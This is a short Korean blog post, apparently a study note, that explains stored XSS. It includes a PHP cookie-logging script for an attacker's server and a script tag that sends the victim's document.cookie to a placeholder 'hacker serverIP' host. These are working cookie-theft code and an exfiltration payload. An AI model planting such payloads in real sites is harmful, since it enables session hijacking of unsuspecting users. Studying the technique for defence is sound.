Security Study/Web

์–ด์ฉŒ๋‹ค๋ณด๋‹ˆ Stored XSS์— ๋Œ€ํ•˜์—ฌ...

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2023. 2. 14.
728x90
๋ฐ˜์‘ํ˜•

ํ•ด๋‹น ๋ธ”๋กœ๊ทธ๋Š” ํ•ดํ‚น ๋ฐ ๋ณด์•ˆ ๋ธ”๋กœ๊ทธ๋กœ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ์šฉ์œผ๋กœ ์ž‘์„ฑ๋˜์–ด์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜์˜ ๋‚ด์šฉ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ดํ‚น ์‹œ๋„ ๋ฐ ์‹ค์ œ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜์—ฌ ์ผ์–ด๋‚˜๋Š” ๋ชจ๋“  ์ฑ…์ž„์€ ๋ณธ์ธ(๋”ฐ๋ผํ•œ์ž)์—๊ฒŒ ์žˆ์Œ์„ ์•Œ๋ ค๋“œ๋ฆฌ๋ฉฐ, ๊ธ€์“ด์ด๋Š” ์•„๋ฌด๋Ÿฐ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ผญ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ์šฉ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์—ฌ ์ฃผ์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค. ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

์ œ๋ชฉ๊ทธ๋Œ€๋กœ ์–ด์ฉŒ๋‹ค๋ณด๋‹ˆ ์ •๋ง ๊ทธ๋ƒฅ Stored XSS์— ์ž‘์„ฑํ•ด๋ณด๋ คํ•œ๋‹ค.

์˜์–ด ๊ทธ๋Œ€๋กœ ์ €์žฅ XSS์ด๋‹ค. ์ฆ‰, ๊ฒŒ์‹œํŒ๊ฐ™์€ ๊ณณ์— ๊ณต๊ฒฉ์ž๊ฐ€ ๊ธ€์„ ๋ฏธ๋ฆฌ ์ž‘์„ฑํ•˜์—ฌ๋‘๊ณ  ํ”ผํ•ด์ž๊ฐ€ ๊ฒŒ์‹œํŒ์„ ํด๋ฆญํ•˜๋ฉด ๋™์ž‘ํ•˜์—ฌ ์•…์„ฑํ–‰์œ„๋ฅผ ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

 

์˜ˆ๋ฅผ ๋“ค์–ด ์ด๋Ÿฐ๊ฒƒ์ด๋‹ค. ๊ฒŒ์‹œํŒ์— "์ด๊ฒƒ ์ข€๋ณด์„ธ์š”. ์•„์ดํฐ 14Pro ํ• ์ธ ์—„์ฒญํ•ด์š”!" ์ด๋Ÿฐ์‹์˜ ์ œ๋ชฉ์„ ๋งŒ๋“ค์–ด๋‘๊ณ  ํด๋ฆญํ•˜๊ธฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋Š” ๊ฒƒ์ด๋‹ค. ๋ฌผ๋ก  ๊ฒŒ์‹œํŒ์— ๊ธ€์„ ์ž‘์„ฑํ•ด๋‘๊ณ  ๋ง์ด๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” ๊ฐ„๋‹จํ•˜์ง€๋งŒ ์‹ค์ œ๋กœ ๋™์ž‘ํ•˜๋Š” php๊ตฌ๋ฌธ์„ ์ž‘์„ฑํ•  ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ์•…์šฉํ•˜๋ฉด ์ ˆ๋Œ€์ ์œผ๋กœ ์•ˆ๋œ๋‹ค.

ํ•ด๋‹น ๋ธ”๋กœ๊ทธ๋Š” ํ•ดํ‚น ๋ฐ ๋ณด์•ˆ ๋ธ”๋กœ๊ทธ๋กœ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ์šฉ์œผ๋กœ ์ž‘์„ฑ๋˜์–ด์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜์˜ ๋‚ด์šฉ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ดํ‚น ์‹œ๋„ ๋ฐ ์‹ค์ œ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜์—ฌ ์ผ์–ด๋‚˜๋Š” ๋ชจ๋“  ์ฑ…์ž„์€ ๋ณธ์ธ(๋”ฐ๋ผํ•œ์ž)์—๊ฒŒ ์žˆ์Œ์„ ์•Œ๋ ค๋“œ๋ฆฌ๋ฉฐ, ๊ธ€์“ด์ด๋Š” ์•„๋ฌด๋Ÿฐ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ผญ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ์šฉ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์—ฌ ์ฃผ์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค. ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

cookie๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ์„ ์˜ˆ๋กœ ๋“ค์–ด๋ณด์ž

๊ณต๊ฒฉ์ž๋Š” ๋ฏธ๋ฆฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์— ํ•ด๋‹น ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด๋‘”๋‹ค.

<?php
	$cookie=$_GET['data'];
    $atime=data("y-m-d H:m:s");
    $log=fopen("cookie.txt","a");
    fwrite($log,$atime."".$cookie."\r\n");
    fclose($log);
?>

ํ•ด๋‹น ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด ๋‘๊ณ  ๊ฒŒ์‹œํŒ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

<script>window.open("hacker serverIP/cookie.php?data="+document.cookie)</script>

๋Œ€์ถฉ ์ด๋Ÿฐ์‹์œผ๋กœ ์ž‘์„ฑํ–ˆ๋‹ค๊ณ  ์ƒ๊ฐํ•ด๋ณด์ž

๊ทธ๋Ÿผ ํ”ผํ•ด์ž๊ฐ€ ๊ฒŒ์‹œ๊ธ€์„ ํด๋ฆญํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด script๊ฐ€ ๋™์ž‘ํ•˜์—ฌ cookie๋ฅผ ์ „์†กํ•˜๊ฒŒ ๋ ๊ฒƒ์ด๋‹ค.

์ด๋Ÿฐ์‹์œผ๋กœ ๋ง์ด๋‹ค. 

์–ด๋ ค์šด ๋‚ด์šฉ์€ ์•„๋‹ˆ์ง€๋งŒ ์›น์— ๊ด€ํ•˜์—ฌ ๊ณต๋ถ€ํ•˜๋‹ค ๋ณด๋ฉด ์•Œ์•„์•ผํ•˜๋Š” ๋‚ด์šฉ์ด๋ผ ๊ทธ๋ƒฅ ๋‚ด์ž…๋ง›๋Œ€๋กœ ์ •๋ฆฌํ•ด๋ณด์•˜๋‹ค.

๋‹ค์‹œํ•œ๋ฒˆ ๋งํ•˜์ง€๋งŒ ์ ˆ๋Œ€์ ์œผ๋กœ ์•…์šฉํ•˜์ง€๋ง๊ณ  ๊ณต๋ถ€์šฉ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•ด์•ผํ•œ๋‹ค.

 

 

728x90
๋ฐ˜์‘ํ˜•

๋Œ“๊ธ€